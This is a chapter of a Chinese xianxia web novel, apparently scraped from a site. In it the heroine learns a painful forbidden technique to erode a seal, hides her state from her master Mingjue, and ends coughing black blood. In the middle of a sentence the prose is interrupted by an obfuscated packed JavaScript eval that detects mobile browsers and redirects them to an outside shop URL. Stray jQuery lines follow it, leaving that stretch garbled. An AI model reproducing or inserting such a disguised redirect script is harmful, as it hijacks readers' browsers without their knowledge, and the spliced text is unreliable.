40. 第 40 章
作品:《请尊入梦》 成天灏是个很好的突破口。
明决未必清楚她与成天灏交易的具体内容。
而且成天灏也没闲着,一定也在暗中谋划什么。她得趁自己还有利用价值,得到自己想要的。
次日清晨,她在庭院中碰巧遇到了明决,他正准备去药圃。
雪闻笙不躲不避,抬眼,平静地跟他对视,眼神里没有以往的怯懦,讨好或伪装出来的温顺。
明决的脚步微微一顿,目光在她脸上停留片刻,什么也没说,像往常一样,微微颔首,便径直走向了药圃。
他这种反应,印证了雪闻笙的猜测——他知晓,但放任自流。
雪闻笙蓦然有种解脱感,同时,也有了更大的压力。
她像被人放在了一个无形的实验场上,一举一动都被记录着,评估着,而那个评判者,始终超然物外。
当夜,她来到了偏殿。
这一次,她是来谈判的。
成天灏察觉到了她的变化:“哦?看来我们的小雀儿,昨晚似乎受了点惊吓?”
雪闻笙没有否认,也没有像之前那样故作姿态。她走到矮几前,自己找了个地方坐下,直视着成天灏,开门见山道:“前辈,我的时间可能不多了。”
成天灏眉梢微挑,示意她继续。
“明决已经察觉了我的动作。虽然他没有明说,但警告的意味很明显。我怀疑,他对我们之间的往来,并非一无所知。”
她这番话,既是一种坦诚,也是试探,想看看成天灏有何反应。
成天灏闻言,眼里闪过一丝兴奋:“他察觉了?呵呵......有意思。我这小师侄,比我想象的还要沉得住气。这么说来,他要么顾忌着什么,要么就是对你,或者对我,另有打算。”
成天灏的分析很有道理,是啊,以明决的实力,若真想阻止,何必只是警告?
但她也没有完全相信成天灏的话,万一他在借机诈她呢?
雪闻笙压下疑虑,将话题引回自己的目的:“所以,前辈,我们之前的交易,需要加速了。我得学会实际的东西,能在短时间内,获得哪怕一丝突破封印的方法,到时候也能帮些小忙,不至于拖了后腿。”
她语气柔软,但态度坚决,换了个人似的。
成天灏摩挲着下巴,好像今天才真正认识她:“小丫头,一夜之间,胆子肥了不少。想学更实际的方法?当然有了,不过风险大,代价也更高啊。”
“什么方法?”
“我可以传你一篇口诀,名为‘净灵决’。不是正统的修炼之法,是专门用侵蚀,消磨各种能量禁锢的偏门秘术。配合你体内被封印的力量,或许能对太清锁灵印起到一些作用。”
净灵决?
听起来,正是她急需的东西。
成天灏幽幽道:“你听着,此法凶险至极,听说像引火烧身一样灼痛。一个掌控不好,非但不能侵蚀封印,有可能先一步被其反噬,轻则经脉尽毁,重则魂飞魄散!而且,修炼此法,需要引动你自身的本源阴力,过程痛苦无比,说像被千刀万剐了也不为过,你可要想清楚!”
诱惑,又危险。
雪闻笙心里摇晃不定,可能会经脉尽毁?魂飞魄散?
“我学!”雪闻笙低声应道。
“哈哈哈哈......很好。”成天灏笑了,他从一开始就知道,这枚棋子,绝对有超乎他预期的价值。
“准备好了吗?”
“嗯。”
于是,他不再多言,开始以神念相传,将一篇艰涩诡异的“净灵决”口诀,一字一句地烙入雪闻笙的脑海里。
雪闻笙紧咬牙关,默默承受着晕眩感,陌生,带着腐蚀意味的信息流涌进来,混乱极了。
成天灏在她耳边低声讲解,她努力去记忆每一个字句,理解每一个运转法门。
她知道,从她决定修炼“净灵决”那一刻开始,她就真的再没有回头路了,她正在把自己淬火锻造成一把带毒的刀。
成天灏所传授的“净灵决”,如同其名,不过净化的不是污秽邪气,而是灵气。
它本质带着阴损,毁灭的气息。口诀艰涩诡异,灵力运转的路径更是刁钻无比,悖逆了正统道法,专走偏锋,旨在以自身本源之力,侵蚀,消磨一切外在的灵气能量禁锢。
雪闻笙没有在偏殿待太长时间,记住口诀之后就离开了。
她将自己反锁在房中,施了个小小的结界,确认不会被外界打扰之后,才敢小心翼翼地尝试。
她盘膝而坐,屏息凝神,调动起被太清锁灵印死死压制在血脉深处,属于魅族的至阴之力。
太难了,力量被封印的太久,暴躁得很,她摸不准轻重,一时间难以驯服,稍有不慎,就会引发一次小小反扑。
她集中全部精神,以“净灵决”为引,抽丝剥茧,慢慢的从封印的缝隙中,牵引出了一缕比发丝还纤细的幽暗能量。
仅仅是完成这第一步,她就冷汗涔涔,面色苍白。
她不知道,真正的痛苦才刚刚开始呢。
她继续引导着一缕微弱的幽暗能量,尝试去接触,轻轻侵蚀金色的太清锁灵印,一股炸裂心肺的剧痛向她袭来。
“呃!”该怎么去形容呢,像什么腐蚀性液体,沿着她灵力流转的轨迹,一点点地灼烧,消融着她的根本。
简直是刮骨剜心的剧痛!在这一点上,成天灏倒对她说了实话。
雪闻笙痛的全身发抖,紧咬牙关,在地上翻来覆去打滚。唇瓣被咬的出血,手指紧紧抱着双臂,指甲划出一道道血痕,她想让皮外疼痛分散一点源自灵魂深处的折磨。
眼前阵阵发黑,耳边嗡嗡作响,她就这么生生硬熬着。
等习惯了疼痛,感官开始麻木,她颤颤巍巍感受了一下,“净灵决”好像有用。
那一缕幽暗,在接触到金色道纹的时候,确实像水滴落在烧红的铁板上,发出了“滋滋”声,有了一点点,微乎其微的消融。
但这代价,实在太惨重了!
她感觉自己像在用自身的生命本源,用灵气,去一点点磨损那个坚不可摧的封印。每一次侵蚀,都痛苦万分,自身生机也会有一点点微弱流逝。
她痛到怀疑会不会没解开封印,自己就先油尽灯枯了。
可是不能停!
以前她不知道怎么解除封印,现在好不容易有办法了,她不能放弃,她要破除这道障碍。
她一边痛苦,一边固执地,一遍又一遍运转着“净灵决”......
不知过了多久,那一缕幽暗完全消耗殆尽之后,雪闻笙瘫软在地,浑身被冷汗浸透,像刚从水里捞出来一样,大口大口喘着粗气,全身火辣辣地疼,连抬起一根手指的力气都没有了。
她的苦没有白挨,苍天垂怜,她心念俱灰的时候,感觉到了微弱,几乎小到忽略不计的......异样感,她眼睛忽然一亮!
本来坚固如磐石的太清锁灵印,在被侵蚀的那个小点上,真的有那么一丝丝松动!
这凶险至极的“净灵决”,让她生不如死,进展也慢得令人绝望,但至少她看到了真实的希望!
她心里有了盼头,瞬间又有劲了,挣扎着坐起身,不顾身体的抗议,开始调息,准备恢复一丝力气后,再次开始刚刚的酷刑经历。
“咚,咚,咚。”一阵轻微敲门声,在这个最不堪的节骨眼上,惊破了满室狼藉。
雪闻笙僵在原地,指尖发冷。
敲门声音很轻,带着来人惯有的平稳。
是明决!
他怎么来了?
他......发现了?
房间里乱糟糟的,根本无处下脚,桌布早就被她扯掉了,茶壶茶杯也撒了一地,连凳子也被她不知道什么时候一脚踹在角落里,少了一只腿。
雪闻笙下意识地想要掩饰,想消弭一些痕迹,但体内还有一股阴寒紊乱气息没有消散,她根本无所遁形。
她现在这样虚弱,像一张被雨水浸透的纸,轻轻一触就碎了。
不能让他进来,不能让他看见这副模样的她。
“咚,咚,咚。”明决又敲响了门。
在下一刻,她微颤着指尖,将桌边的蜡烛挪了挪位置。
光影摇曳,倾斜,将她纤细的身影投在了窗纸上,像一幅即将晕开的水墨。
雪闻笙站到了那圈光晕的中心,然后,开始解自己的衣裳。
手指勾住侧襟的系带,轻轻一扯,衣料便失去了依附,微微向两旁滑开。
外衫滑过肩头,堆叠在臂弯,无声落地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916211|192244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她里面只穿了一件贴身的素色襦衣,面料柔软单薄,遮不住底下起伏的曲线。
烛影将她身体的轮廓细细勾勒出来,随着她略微急促的呼吸,剪影也像有了生命一般微微起伏,像夜风中战栗的花枝。
她停在这里,没有继续,就那样站着,微微侧首,让长发泻下,半掩住苍白的脸颊。她看见镜子里,自己脸上痛苦余韵未消,窗上剪影每一个弧度都那么含蓄,诉说着主人无法言明的哀怨。
门外静悄悄的,再没有一丝响声。
雪闻笙知道明决一定还在。
通过那扇窗,他看不见屋内的凌乱,看不见她脸上的痛苦,他只是会看见她利用烛光做出来的脆弱伪装。
她将所有的痛苦,狼狈与秘密,都锁在了这幅光影交织,哀婉朦胧之后。
雪闻笙知道他不会踏进房间半步,努力让自己的声音听起来尽量正常:“这么晚了,有事吗?你......进来吧。”
明决站在门槛外,一动不动。
他眉头微蹙,哪怕隔着门板,也感受到了雪闻笙房里尚未散尽的阴损波动。
门外没有动静。
雪闻笙忽然不知所措,紧张极了,等待着审判降临。
“药圃东南角的‘凝露草’,近日长势似乎有些萎靡。你近日照料,可曾发现异常?”明决在门外开了口,问的却是一件完全不相干的事情。
凝露草?雪闻笙一愣,大脑一时有些转不过弯。他深夜前来,就是为了问几株无关紧要的草药?
她立刻反应过来,这是一个台阶。
明决绝不可能没有察觉她此刻状态有异,但他选择了无视,选择了用最平常不过的事务来打破这尴尬的沉默。
雪闻笙连忙顺着他的话答道:“我......我近日未曾特别注意。明日便去仔细查看。”
明决点了点头,淡淡道:“嗯。草木有灵,需用心体察,方能感知其真正需求。操之过急,反受其害。”
什么意思?他到底在说凝露草,还是说她?
“是......我记下了。”雪闻笙应道。
“早些休息吧。”明决没有再说什么。随即,他转身,如来时一般,悄无声息地离开了,雪闻笙敏觉听到了一声清浅的叹息。
明决走后,雪闻笙紧绷的神经骤然松弛下来,整个人几乎虚脱。
静水深流,其下暗涌滔天。明决的淡然,比成天灏的邪魅,更让她心悸。
她无路可退,像上了瘾的赌*徒,明知前方是万丈深渊,无法抗拒净灵决带来希望。
她的身体肉眼可见的消瘦了,原本莹润的肌肤也失去了一些光泽,只有眼睛,执念痛苦交织,显得明亮极了。
她与成天灏的暗中往来也更频繁了。
成天灏很享受这种在明决眼皮底下玩弄阴谋的感觉,他不断给雪闻笙灌输着关于力量,复仇,掌控命运的扭曲信念,也一点点地从她那里榨取着关于尘寂山和明决的细节,但对自己和明决以前的故事闭口不提,任凭雪闻笙怎么套话都不松口。
“不错,不错......净灵决的进展,比我想象快多了。”成天灏探查了一下雪闻笙体内的力量之后,夸赞道:“照这个速度,用不了多久,你就能在那该死的封印上,真正撕开一道口子了。”
雪闻笙知道他的算计,也知道自己是一枚棋子,但此刻,她选择迎合。
“还要多谢前辈指点。”她垂下眼睫,语气恭敬。
“各取所需罢了。”成天灏挥了挥手,随意般问道:“对了,明决近日有用到‘冰魄暖玉’或是‘七星魂草’这类极阴属性的材料吗?”
成天灏突然问这个做什么?她来不及细想,只能如实回答:“没有见过。明决炼丹,多用中正平和之药,极少动用此类偏激之物。”
成天灏眼中闪过一丝失望,很快又被掩饰过去:“也是,他那套假仁假义的道统,自然看不上这些‘旁门左道’。”
他嗤笑一声,不再多问。
雪闻笙忽然有些心烦意乱,低头起身想离开时,忽然看见脚下晕开了一滴又滴红色小水花。
她心里惊疑,抬手一摸脸,看见手背上全是血,黑色的血。
“啊——!”
雪闻笙发出一声凄厉惨叫。

